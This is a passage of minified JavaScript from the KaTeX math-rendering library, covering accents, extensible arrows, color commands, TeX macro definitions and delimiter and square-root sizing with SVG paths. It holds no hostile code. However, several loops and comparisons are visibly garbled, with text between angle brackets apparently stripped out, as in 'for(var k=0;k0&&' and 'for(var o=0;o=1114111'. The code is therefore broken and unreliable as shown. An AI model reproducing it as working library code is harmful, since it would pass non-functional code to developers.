i,o=e.height+e.depth+r+n;if(/fbox|color|angl/.test(t)){if(i=je.makeSpan(["stretchy",t],[],a),"fbox"===t){var s=a.color&&a.getColor();s&&(i.style.borderColor=s)}}else{var l=[];/^[bx]cancel$/.test(t)&&l.push(new H({x1:"0",y1:"0",x2:"100%",y2:"100%","stroke-width":"0.046em"})),/^x?cancel$/.test(t)&&l.push(new H({x1:"0",y1:"100%",x2:"100%",y2:"0","stroke-width":"0.046em"}));var h=new O(l,{width:"100%",height:o+"em"});i=je.makeSvgSpan([],[h],a)}return i.height=o,i.style.height=o+"em",i},Dt=function(e){var t=new Mt.MathNode("mo",[new Mt.TextNode(Et[e.replace(/^\\/,"")])]);return t.setAttribute("stretchy","true"),t},Pt=function(e,t){var r=function(){var r=4e5,n=e.label.substr(1);if(l.contains(["widehat","widecheck","widetilde","utilde"],n)){var a,i,o,s="ordgroup"===(d=e.base).type?d.body.length:1;if(s>5)"widehat"===n||"widecheck"===n?(a=420,r=2364,o=.42,i=n+"4"):(a=312,r=2340,o=.34,i="tilde4");else{var h=[1,1,2,2,3,3][s];"widehat"===n||"widecheck"===n?(r=[0,1062,2364,2364,2364][h],a=[0,239,300,360,420][h],o=[0,.24,.3,.3,.36,.42][h],i=n+h):(r=[0,600,1033,2339,2340][h],a=[0,260,286,306,312][h],o=[0,.26,.286,.3,.306,.34][h],i="tilde"+h)}var m=new E(i),c=new O([m],{width:"100%",height:o+"em",viewBox:"0 0 "+r+" "+a,preserveAspectRatio:"none"});return{span:je.makeSvgSpan([],[c],t),minWidth:0,height:o}}var u,p,d,f=[],g=Ht[n],v=g[0],b=g[1],y=g[2],x=y/1e3,w=v.length;if(1===w)u=["hide-tail"],p=[g[3]];else if(2===w)u=["halfarrow-left","halfarrow-right"],p=["xMinYMin","xMaxYMin"];else{if(3!==w)throw new Error("Correct katexImagesData or update code here to support\n "+w+" children.");u=["brace-left","brace-center","brace-right"],p=["xMinYMin","xMidYMin","xMaxYMin"]}for(var k=0;k0&&(n.style.minWidth=a+"em"),n};function Ft(e,t){if(!e||e.type!==t)throw new Error("Expected node of type "+t+", but got "+(e?"node of type "+e.type:String(e)));return e}function Vt(e){var t=Gt(e);if(!t)throw new Error("Expected node of symbol group type, but got "+(e?"node of type "+e.type:String(e)));return t}function Gt(e){return e&&("atom"===e.type||Y.hasOwnProperty(e.type))?e:null}var Ut=function(e,t){var r,n,a;e&&"supsub"===e.type?(r=(n=Ft(e.base,"accent")).base,e.base=r,a=function(e){if(e instanceof N)return e;throw new Error("Expected span but got "+String(e)+".")}(bt(e,t)),e.base=n):r=(n=Ft(e,"accent")).base;var i=bt(r,t.havingCrampedStyle()),o=0;if(n.isShifty&&l.isCharacterBox(r)){var s=l.getBaseElem(r);o=L(bt(s,t.havingCrampedStyle())).skew}var h,m="\\c"===n.label,c=m?i.height+i.depth:Math.min(i.height,t.fontMetrics().xHeight);if(n.isStretchy)h=Pt(n,t),h=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:i},{type:"elem",elem:h,wrapperClasses:["svg-align"],wrapperStyle:o>0?{width:"calc(100% - "+2*o+"em)",marginLeft:2*o+"em"}:void 0}]},t);else{var u,p;"\\vec"===n.label?(u=je.staticSvg("vec",t),p=je.svgData.vec[1]):((u=L(u=je.makeOrd({mode:n.mode,text:n.label},t,"textord"))).italic=0,p=u.width,m&&(c+=u.depth)),h=je.makeSpan(["accent-body"],[u]);var d="\\textcircled"===n.label;d&&(h.classes.push("accent-full"),c=i.height);var f=o;d||(f-=p/2),h.style.left=f+"em","\\textcircled"===n.label&&(h.style.top=".2em"),h=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:i},{type:"kern",size:-c},{type:"elem",elem:h}]},t)}var g=je.makeSpan(["mord","accent"],[h],t);return a?(a.children[0]=g,a.height=Math.max(g.height,a.height),a.classes[0]="mord",a):g},Yt=function(e,t){var r=e.isStretchy?Dt(e.label):new Mt.MathNode("mo",[zt(e.label,e.mode)]),n=new Mt.MathNode("mover",[qt(e.base,t),r]);return n.setAttribute("accent","true"),n},Wt=new RegExp(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring"].map((function(e){return"\\"+e})).join("|"));nt({type:"accent",names:["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring","\\widecheck","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],props:{numArgs:1},handler:function(e,t){var r=it(t[0]),n=!Wt.test(e.funcName),a=!n||"\\widehat"===e.funcName||"\\widetilde"===e.funcName||"\\widecheck"===e.funcName;return{type:"accent",mode:e.parser.mode,label:e.funcName,isStretchy:n,isShifty:a,base:r}},htmlBuilder:Ut,mathmlBuilder:Yt}),nt({type:"accent",names:["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\c","\\r","\\H","\\v","\\textcircled"],props:{numArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["primitive"]},handler:function(e,t){var r=t[0],n=e.parser.mode;return"math"===n&&(e.parser.settings.reportNonstrict("mathVsTextAccents","LaTeX's accent "+e.funcName+" works only in text mode"),n="text"),{type:"accent",mode:n,label:e.funcName,isStretchy:!1,isShifty:!0,base:r}},htmlBuilder:Ut,mathmlBuilder:Yt}),nt({type:"accentUnder",names:["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\utilde"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"accentUnder",mode:r.mode,label:n,base:a}},htmlBuilder:function(e,t){var r=bt(e.base,t),n=Pt(e,t),a="\\utilde"===e.label?.12:0,i=je.makeVList({positionType:"top",positionData:r.height,children:[{type:"elem",elem:n,wrapperClasses:["svg-align"]},{type:"kern",size:a},{type:"elem",elem:r}]},t);return je.makeSpan(["mord","accentunder"],[i],t)},mathmlBuilder:function(e,t){var r=Dt(e.label),n=new Mt.MathNode("munder",[qt(e.base,t),r]);return n.setAttribute("accentunder","true"),n}});var Xt=function(e){var t=new Mt.MathNode("mpadded",e?[e]:[]);return t.setAttribute("width","+0.6em"),t.setAttribute("lspace","0.3em"),t};nt({type:"xArrow",names:["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xlongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xtofrom","\\xrightleftarrows","\\xrightequilibrium","\\xleftequilibrium","\\\\cdrightarrow","\\\\cdleftarrow","\\\\cdlongequal"],props:{numArgs:1,numOptionalArgs:1},handler:function(e,t,r){var n=e.parser,a=e.funcName;return{type:"xArrow",mode:n.mode,label:a,body:t[0],below:r[0]}},htmlBuilder:function(e,t){var r,n=t.style,a=t.havingStyle(n.sup()),i=je.wrapFragment(bt(e.body,a,t),t),o="\\x"===e.label.slice(0,2)?"x":"cd";i.classes.push(o+"-arrow-pad"),e.below&&(a=t.havingStyle(n.sub()),(r=je.wrapFragment(bt(e.below,a,t),t)).classes.push(o+"-arrow-pad"));var s,l=Pt(e,t),h=-t.fontMetrics().axisHeight+.5*l.height,m=-t.fontMetrics().axisHeight-.5*l.height-.111;if((i.depth>.25||"\\xleftequilibrium"===e.label)&&(m-=i.depth),r){var c=-t.fontMetrics().axisHeight+r.height+.5*l.height+.111;s=je.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:m},{type:"elem",elem:l,shift:h},{type:"elem",elem:r,shift:c}]},t)}else s=je.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:m},{type:"elem",elem:l,shift:h}]},t);return s.children[0].children[0].children[1].classes.push("svg-align"),je.makeSpan(["mrel","x-arrow"],[s],t)},mathmlBuilder:function(e,t){var r,n=Dt(e.label);if(n.setAttribute("minsize","x"===e.label.charAt(0)?"1.75em":"3.0em"),e.body){var a=Xt(qt(e.body,t));if(e.below){var i=Xt(qt(e.below,t));r=new Mt.MathNode("munderover",[n,i,a])}else r=new Mt.MathNode("mover",[n,a])}else if(e.below){var o=Xt(qt(e.below,t));r=new Mt.MathNode("munder",[n,o])}else r=Xt(),r=new Mt.MathNode("mover",[n,r]);return r}});var _t={">":"\\\\cdrightarrow","<":"\\\\cdleftarrow","=":"\\\\cdlongequal",A:"\\uparrow",V:"\\downarrow","|":"\\Vert",".":"no arrow"},jt=function(e){return"textord"===e.type&&"@"===e.text};function $t(e,t,r){var n=_t[e];switch(n){case"\\\\cdrightarrow":case"\\\\cdleftarrow":return r.callFunction(n,[t[0]],[t[1]]);case"\\uparrow":case"\\downarrow":var a={type:"atom",text:n,mode:"math",family:"rel"},i={type:"ordgroup",mode:"math",body:[r.callFunction("\\\\cdleft",[t[0]],[]),r.callFunction("\\Big",[a],[]),r.callFunction("\\\\cdright",[t[1]],[])]};return r.callFunction("\\\\cdparent",[i],[]);case"\\\\cdlongequal":return r.callFunction("\\\\cdlongequal",[],[]);case"\\Vert":return r.callFunction("\\Big",[{type:"textord",text:"\\Vert",mode:"math"}],[]);default:return{type:"textord",text:" ",mode:"math"}}}nt({type:"cdlabel",names:["\\\\cdleft","\\\\cdright"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName;return{type:"cdlabel",mode:r.mode,side:n.slice(4),label:t[0]}},htmlBuilder:function(e,t){var r=t.havingStyle(t.style.sup()),n=je.wrapFragment(bt(e.label,r,t),t);return n.classes.push("cd-label-"+e.side),n.style.bottom=.8-n.depth+"em",n.height=0,n.depth=0,n},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mrow",[qt(e.label,t)]);return(r=new Mt.MathNode("mpadded",[r])).setAttribute("width","0"),"left"===e.side&&r.setAttribute("lspace","-1width"),r.setAttribute("voffset","0.7em"),(r=new Mt.MathNode("mstyle",[r])).setAttribute("displaystyle","false"),r.setAttribute("scriptlevel","1"),r}}),nt({type:"cdlabelparent",names:["\\\\cdparent"],props:{numArgs:1},handler:function(e,t){return{type:"cdlabelparent",mode:e.parser.mode,fragment:t[0]}},htmlBuilder:function(e,t){var r=je.wrapFragment(bt(e.fragment,t),t);return r.classes.push("cd-vert-arrow"),r},mathmlBuilder:function(e,t){return new Mt.MathNode("mrow",[qt(e.fragment,t)])}}),nt({type:"textord",names:["\\@char"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){for(var r=e.parser,a=Ft(t[0],"ordgroup").body,i="",o=0;o=1114111)throw new n("\\@char with invalid code point "+i);return l<=65535?s=String.fromCharCode(l):(l-=65536,s=String.fromCharCode(55296+(l>>10),56320+(1023&l))),{type:"textord",mode:r.mode,text:s}}});var Zt=function(e,t){var r=ut(e.body,t.withColor(e.color),!1);return je.makeFragment(r)},Kt=function(e,t){var r=Bt(e.body,t.withColor(e.color)),n=new Mt.MathNode("mstyle",r);return n.setAttribute("mathcolor",e.color),n};nt({type:"color",names:["\\textcolor"],props:{numArgs:2,allowedInText:!0,argTypes:["color","original"]},handler:function(e,t){var r=e.parser,n=Ft(t[0],"color-token").color,a=t[1];return{type:"color",mode:r.mode,color:n,body:ot(a)}},htmlBuilder:Zt,mathmlBuilder:Kt}),nt({type:"color",names:["\\color"],props:{numArgs:1,allowedInText:!0,argTypes:["color"]},handler:function(e,t){var r=e.parser,n=e.breakOnTokenText,a=Ft(t[0],"color-token").color;r.gullet.macros.set("\\current@color",a);var i=r.parseExpression(!0,n);return{type:"color",mode:r.mode,color:a,body:i}},htmlBuilder:Zt,mathmlBuilder:Kt}),nt({type:"cr",names:["\\\\"],props:{numArgs:0,numOptionalArgs:1,argTypes:["size"],allowedInText:!0},handler:function(e,t,r){var n=e.parser,a=r[0],i=!n.settings.displayMode||!n.settings.useStrictBehavior("newLineInDisplayMode","In LaTeX, \\\\ or \\newline does nothing in display mode");return{type:"cr",mode:n.mode,newLine:i,size:a&&Ft(a,"size").value}},htmlBuilder:function(e,t){var r=je.makeSpan(["mspace"],[],t);return e.newLine&&(r.classes.push("newline"),e.size&&(r.style.marginTop=Le(e.size,t)+"em")),r},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mspace");return e.newLine&&(r.setAttribute("linebreak","newline"),e.size&&r.setAttribute("height",Le(e.size,t)+"em")),r}});var Jt={"\\global":"\\global","\\long":"\\\\globallong","\\\\globallong":"\\\\globallong","\\def":"\\gdef","\\gdef":"\\gdef","\\edef":"\\xdef","\\xdef":"\\xdef","\\let":"\\\\globallet","\\futurelet":"\\\\globalfuture"},Qt=function(e){var t=e.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(t))throw new n("Expected a control sequence",e);return t},er=function(e,t,r,n){var a=e.gullet.macros.get(r.text);null==a&&(r.noexpand=!0,a={tokens:[r],numArgs:0,unexpandable:!e.gullet.isExpandable(r.text)}),e.gullet.macros.set(t,a,n)};nt({type:"internal",names:["\\global","\\long","\\\\globallong"],props:{numArgs:0,allowedInText:!0},handler:function(e){var t=e.parser,r=e.funcName;t.consumeSpaces();var a=t.fetch();if(Jt[a.text])return"\\global"!==r&&"\\\\globallong"!==r||(a.text=Jt[a.text]),Ft(t.parseFunction(),"internal");throw new n("Invalid token after macro prefix",a)}}),nt({type:"internal",names:["\\def","\\gdef","\\edef","\\xdef"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e){var t=e.parser,r=e.funcName,a=t.gullet.popToken(),i=a.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(i))throw new n("Expected a control sequence",a);for(var o,s=0,l=[[]];"{"!==t.gullet.future().text;)if("#"===(a=t.gullet.popToken()).text){if("{"===t.gullet.future().text){o=t.gullet.future(),l[s].push("{");break}if(a=t.gullet.popToken(),!/^[1-9]$/.test(a.text))throw new n('Invalid argument number "'+a.text+'"');if(parseInt(a.text)!==s+1)throw new n('Argument number "'+a.text+'" out of order');s++,l.push([])}else{if("EOF"===a.text)throw new n("Expected a macro definition");l[s].push(a.text)}var h=t.gullet.consumeArg().tokens;return o&&h.unshift(o),"\\edef"!==r&&"\\xdef"!==r||(h=t.gullet.expandTokens(h)).reverse(),t.gullet.macros.set(i,{tokens:h,numArgs:s,delimiters:l},r===Jt[r]),{type:"internal",mode:t.mode}}}),nt({type:"internal",names:["\\let","\\\\globallet"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e){var t=e.parser,r=e.funcName,n=Qt(t.gullet.popToken());t.gullet.consumeSpaces();var a=function(e){var t=e.gullet.popToken();return"="===t.text&&" "===(t=e.gullet.popToken()).text&&(t=e.gullet.popToken()),t}(t);return er(t,n,a,"\\\\globallet"===r),{type:"internal",mode:t.mode}}}),nt({type:"internal",names:["\\futurelet","\\\\globalfuture"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler:function(e){var t=e.parser,r=e.funcName,n=Qt(t.gullet.popToken()),a=t.gullet.popToken(),i=t.gullet.popToken();return er(t,n,i,"\\\\globalfuture"===r),t.gullet.pushToken(i),t.gullet.pushToken(a),{type:"internal",mode:t.mode}}});var tr=function(e,t,r){var n=V(X.math[e]&&X.math[e].replace||e,t,r);if(!n)throw new Error("Unsupported symbol "+e+" and font size "+t+".");return n},rr=function(e,t,r,n){var a=r.havingBaseStyle(t),i=je.makeSpan(n.concat(a.sizingClasses(r)),[e],r),o=a.sizeMultiplier/r.sizeMultiplier;return i.height*=o,i.depth*=o,i.maxFontSize=a.sizeMultiplier,i},nr=function(e,t,r){var n=t.havingBaseStyle(r),a=(1-t.sizeMultiplier/n.sizeMultiplier)*t.fontMetrics().axisHeight;e.classes.push("delimcenter"),e.style.top=a+"em",e.height-=a,e.depth+=a},ar=function(e,t,r,n,a,i){var o=function(e,t,r,n){return je.makeSymbol(e,"Size"+t+"-Regular",r,n)}(e,t,a,n),s=rr(je.makeSpan(["delimsizing","size"+t],[o],n),b.TEXT,n,i);return r&&nr(s,n,b.TEXT),s},ir=function(e,t,r){var n;return n="Size1-Regular"===t?"delim-size1":"delim-size4",{type:"elem",elem:je.makeSpan(["delimsizinginner",n],[je.makeSpan([],[je.makeSymbol(e,t,r)])])}},or=function(e,t,r){var n=D["Size4-Regular"][e.charCodeAt(0)]?D["Size4-Regular"][e.charCodeAt(0)][4].toFixed(3):D["Size1-Regular"][e.charCodeAt(0)][4].toFixed(3),a=new E("inner",function(e,t){switch(e){case"\u239c":return"M291 0 H417 V"+t+" H291z M291 0 H417 V"+t+" H291z";case"\u2223":return"M145 0 H188 V"+t+" H145z M145 0 H188 V"+t+" H145z";case"\u2225":return"M145 0 H188 V"+t+" H145z M145 0 H188 V"+t+" H145zM367 0 H410 V"+t+" H367z M367 0 H410 V"+t+" H367z";case"\u239f":return"M457 0 H583 V"+t+" H457z M457 0 H583 V"+t+" H457z";case"\u23a2":return"M319 0 H403 V"+t+" H319z M319 0 H403 V"+t+" H319z";case"\u23a5":return"M263 0 H347 V"+t+" H263z M263 0 H347 V"+t+" H263z";case"\u23aa":return"M384 0 H504 V"+t+" H384z M384 0 H504 V"+t+" H384z";case"\u23d0":return"M312 0 H355 V"+t+" H312z M312 0 H355 V"+t+" H312z";case"\u2016":return"M257 0 H300 V"+t+" H257z M257 0 H300 V"+t+" H257zM478 0 H521 V"+t+" H478z M478 0 H521 V"+t+" H478z";default:return""}}(e,Math.round(1e3*t))),i=new O([a],{width:n+"em",height:t+"em",style:"width:"+n+"em",viewBox:"0 0 "+1e3*n+" "+Math.round(1e3*t),preserveAspectRatio:"xMinYMin"}),o=je.makeSvgSpan([],[i],r);return o.height=t,o.style.height=t+"em",o.style.width=n+"em",{type:"elem",elem:o}},sr={type:"kern",size:-.008},lr=["|","\\lvert","\\rvert","\\vert"],hr=["\\|","\\lVert","\\rVert","\\Vert"],mr=function(e,t,r,n,a,i){var o,s,h,m;o=h=m=e,s=null;var c="Size1-Regular";"\\uparrow"===e?h=m="\u23d0":"\\Uparrow"===e?h=m="\u2016":"\\downarrow"===e?o=h="\u23d0":"\\Downarrow"===e?o=h="\u2016":"\\updownarrow"===e?(o="\\uparrow",h="\u23d0",m="\\downarrow"):"\\Updownarrow"===e?(o="\\Uparrow",h="\u2016",m="\\Downarrow"):l.contains(lr,e)?h="\u2223":l.contains(hr,e)?h="\u2225":"["===e||"\\lbrack"===e?(o="\u23a1",h="\u23a2",m="\u23a3",c="Size4-Regular"):"]"===e||"\\rbrack"===e?(o="\u23a4",h="\u23a5",m="\u23a6",c="Size4-Regular"):"\\lfloor"===e||"\u230a"===e?(h=o="\u23a2",m="\u23a3",c="Size4-Regular"):"\\lceil"===e||"\u2308"===e?(o="\u23a1",h=m="\u23a2",c="Size4-Regular"):"\\rfloor"===e||"\u230b"===e?(h=o="\u23a5",m="\u23a6",c="Size4-Regular"):"\\rceil"===e||"\u2309"===e?(o="\u23a4",h=m="\u23a5",c="Size4-Regular"):"("===e||"\\lparen"===e?(o="\u239b",h="\u239c",m="\u239d",c="Size4-Regular"):")"===e||"\\rparen"===e?(o="\u239e",h="\u239f",m="\u23a0",c="Size4-Regular"):"\\{"===e||"\\lbrace"===e?(o="\u23a7",s="\u23a8",m="\u23a9",h="\u23aa",c="Size4-Regular"):"\\}"===e||"\\rbrace"===e?(o="\u23ab",s="\u23ac",m="\u23ad",h="\u23aa",c="Size4-Regular"):"\\lgroup"===e||"\u27ee"===e?(o="\u23a7",m="\u23a9",h="\u23aa",c="Size4-Regular"):"\\rgroup"===e||"\u27ef"===e?(o="\u23ab",m="\u23ad",h="\u23aa",c="Size4-Regular"):"\\lmoustache"===e||"\u23b0"===e?(o="\u23a7",m="\u23ad",h="\u23aa",c="Size4-Regular"):"\\rmoustache"!==e&&"\u23b1"!==e||(o="\u23ab",m="\u23a9",h="\u23aa",c="Size4-Regular");var u=tr(o,c,a),p=u.height+u.depth,d=tr(h,c,a),f=d.height+d.depth,g=tr(m,c,a),v=g.height+g.depth,y=0,x=1;if(null!==s){var w=tr(s,c,a);y=w.height+w.depth,x=2}var k=p+v+y,S=k+Math.max(0,Math.ceil((t-k)/(x*f)))*x*f,M=n.fontMetrics().axisHeight;r&&(M*=n.sizeMultiplier);var z=S/2-M,A=[];if(A.push(ir(m,c,a)),A.push(sr),null===s){var T=S-p-v+.016;A.push(or(h,T,n))}else{var B=(S-p-v-y)/2+.016;A.push(or(h,B,n)),A.push(sr),A.push(ir(s,c,a)),A.push(sr),A.push(or(h,B,n))}A.push(sr),A.push(ir(o,c,a));var N=n.havingBaseStyle(b.TEXT),q=je.makeVList({positionType:"bottom",positionData:z,children:A},N);return rr(je.makeSpan(["delimsizing","mult"],[q],N),b.TEXT,n,i)},cr=.08,ur=function(e,t,r,n,a){var i=function(e,t,r){t*=1e3;var n="";switch(e){case"sqrtMain":n=function(e,t){return"M95,"+(622+e+t)+"\nc-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14\nc0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54\nc44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10\ns173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429\nc69,-144,104.5,-217.7,106.5,-221\nl"+e/2.075+" -"+e+"\nc5.3,-9.3,12,-14,20,-14\nH400000v"+(40+e)+"H845.2724\ns-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7\nc-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z\nM"+(834+e)+" "+t+"h400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize1":n=function(e,t){return"M263,"+(601+e+t)+"c0.7,0,18,39.7,52,119\nc34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120\nc340,-704.7,510.7,-1060.3,512,-1067\nl"+e/2.084+" -"+e+"\nc4.7,-7.3,11,-11,19,-11\nH40000v"+(40+e)+"H1012.3\ns-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232\nc-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1\ns-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26\nc-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z\nM"+(1001+e)+" "+t+"h400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize2":n=function(e,t){return"M983 "+(10+e+t)+"\nl"+e/3.13+" -"+e+"\nc4,-6.7,10,-10,18,-10 H400000v"+(40+e)+"\nH1013.1s-83.4,268,-264.1,840c-180.7,572,-277,876.3,-289,913c-4.7,4.7,-12.7,7,-24,7\ns-12,0,-12,0c-1.3,-3.3,-3.7,-11.7,-7,-25c-35.3,-125.3,-106.7,-373.3,-214,-744\nc-10,12,-21,25,-33,39s-32,39,-32,39c-6,-5.3,-15,-14,-27,-26s25,-30,25,-30\nc26.7,-32.7,52,-63,76,-91s52,-60,52,-60s208,722,208,722\nc56,-175.3,126.3,-397.3,211,-666c84.7,-268.7,153.8,-488.2,207.5,-658.5\nc53.7,-170.3,84.5,-266.8,92.5,-289.5z\nM"+(1001+e)+" "+t+"h400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize3":n=function(e,t){return"M424,"+(2398+e+t)+"\nc-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514\nc0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20\ns-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121\ns209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081\nl"+e/4.223+" -"+e+"c4,-6.7,10,-10,18,-10 H400000\nv"+(40+e)+"H1014.6\ns-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185\nc-2,6,-10,9,-24,9\nc-8,0,-12,-0.7,-12,-2z M"+(1001+e)+" "+t+"\nh400000v"+(40+e)+"h-400000z"}(t,k);break;case"sqrtSize4":n=function(e,t){return"M473,"+(2713+e+t)+"\nc339.3,-1799.3,509.3,-2700,510,-2702 l"+e/5.298+" -"+e+"\nc3.3,-7.3,9.3,-11,18,-11 H400000v"+(40+e)+"H1017.7\ns-90.5,478,-276.2,1466c-185.7,988,-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9\nc-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3,-32,-16,-92c-50.7,-293.3,-119.7,-693.3,-207,-1200\nc0,-1.3,-5.3,8.7,-16,30c-10.7,21.3,-21.3,42.7,-32,64s-16,33,-16,33s-26,-26,-26,-26\ns76,-153,76,-153s77,-151,77,-151c0.7,0.7,35.7,202,105,604c67.3,400.7,102,602.7,104,\n606zM"+(1001+e)+" "+t+"h400000v"+(40+e)+"H1017.7z"}(t,k);break;case"sqrtTall":n=function(e,t,r){return"M702 "+(e+t)+"H400000"+(40+e)+"\nH742v"+(r-54-t-e)+"l-4 4-4 4c-.667.7 -2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1\nh-12l-28-84c-16.667-52-96.667 -294.333-240-727l-212 -643 -85 170\nc-4-3.333-8.333-7.667-13 -13l-13-13l77-155 77-156c66 199.333 139 419.667\n219 661 l218 661zM702 "+t+"H400000v"+(40+e)+"H742z"}(t,k,r)}return n}(e,n,r),o=new E(e,i),s=new O([o],{width:"400em",height:t+"em",viewBox:"0 0 400000 "+r,preserveAspectRatio:"xMinYMin slice"});return je.makeSvgSpan(["hide-tail"],[s],a)},pr=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230a","\u230b","\\lceil","\\rceil","\u2308","\u2309","\\surd"],dr=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27ee","\u27ef","\\lmoustache","\\rmoustache","\u23b0","\u23b1"],fr=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"],gr=[0,1.2,1.8,2.4,3],vr=[{type:"small",style:b.SCRIPTSCRIPT},{type:"small",style:b.SCRIPT},{type:"small",style:b.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}],br=[{type:"small",style:b.SCRIPTSCRIPT},{type:"small",style:b.SCRIPT},{type:"small",style:b.TEXT},{type:"stack"}],yr=[{type:"small",style:b.SCRIPTSCRIPT},{type:"small",style:b.SCRIPT},{type:"small",style:b.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}],xr=function(e){if("small"===e.type)return"Main-Regular";if("large"===e.type)return"Size"+e.size+"-Regular";if("stack"===e.type)return"Size4-Regular";throw new Error("Add support for delim type '"+e.type+"' here.")},wr=function(e,t,r,n){for(var a=Math.min(2,3-n.style.size);at)return r[a]}return r[r.length-1]},kr=function(e,t,r,n,a,i){var o;"<"===e||"\\lt"===e||"\u27e8"===e?e="\\langle":">"!==e&&"\\gt"!==e&&"\u27e9"!==e||(e="\\rangle"),o=l.contains(fr,e)?vr:l.contains(pr,e)?yr:br;var s=wr(e,t,o,n);return"small"===s.type?function(e,t,r,n,a,i){var o=je.makeSymbol(e,"Main-Regular",a,n),s=rr(o,t,n,i);return r&&nr(s,n,t),s}(e,s.style,r,n,a,i):"large"===s.type?ar(e,s.size,r,n,a,i):mr(e,t,r,n,a,i)},Sr=function(e,t){var r,n,a=t.havingBaseSizing(),i=wr("\\surd",e*a.sizeMultiplier,yr,a),o=a.sizeMultiplier,s=Math.max(0,t.minRuleThickness-t.fontMetrics().sqrtRuleThickness),l=0,h=0,m=0;return"small"===i.type?(e<1?o=1:e<1.4&&(o=.7),h=(1+s)/o,(r=ur("sqrtMain",l=(1+s+cr)/o,m=1e3+1e3*s+80,s,t)).style.minWidth="0.853em",n=.833/o):"large"===i.type?(m=1080*gr[i.size],h=(gr[i.size]+s)/o,l=(gr[i.size]+s+cr)/o,(r=ur("sqrtSize"+i.size,l,m,s,t)).style.minWidth="1.02em",n=1/o):(l=e+s+cr,h=e+s,m=Math.floor(1e3*e+s)+80,(r=ur("sqrtTall",l,m,s,t)).style.minWidth="0.742em",n=1.056),r.height=h,r.style.height=l+"em",{span:r,advanceWidth:n,ruleWidth:(t.fontMetrics().sqrtRuleThickness+s)*o}},Mr=function(e,t,r,a,i){if("<"===e||"\\lt"===e||"\u27e8"===e?e="\\langle":">"!==e&&"\\gt"!==e&&"\u27e9"!==e||(e="\\rangle"),l.contains(pr,e)||l.contains(fr,e))return ar(e,t,!1,r,a,i);if(l.contains(dr,e))return mr(e,gr[t],!1,r,a,i);throw new n("Illegal delimiter: '"+e+"'")},zr=gr,Ar=kr,Tr=function(e,t,r,n,a,i){var o=n.fontMetrics().axisHeight*n.sizeMultiplier,s=5/n.fontMetrics().ptPerEm,l=Math.max(t-o,r+o),h=Math.max(l/500*901,2*l-s);return 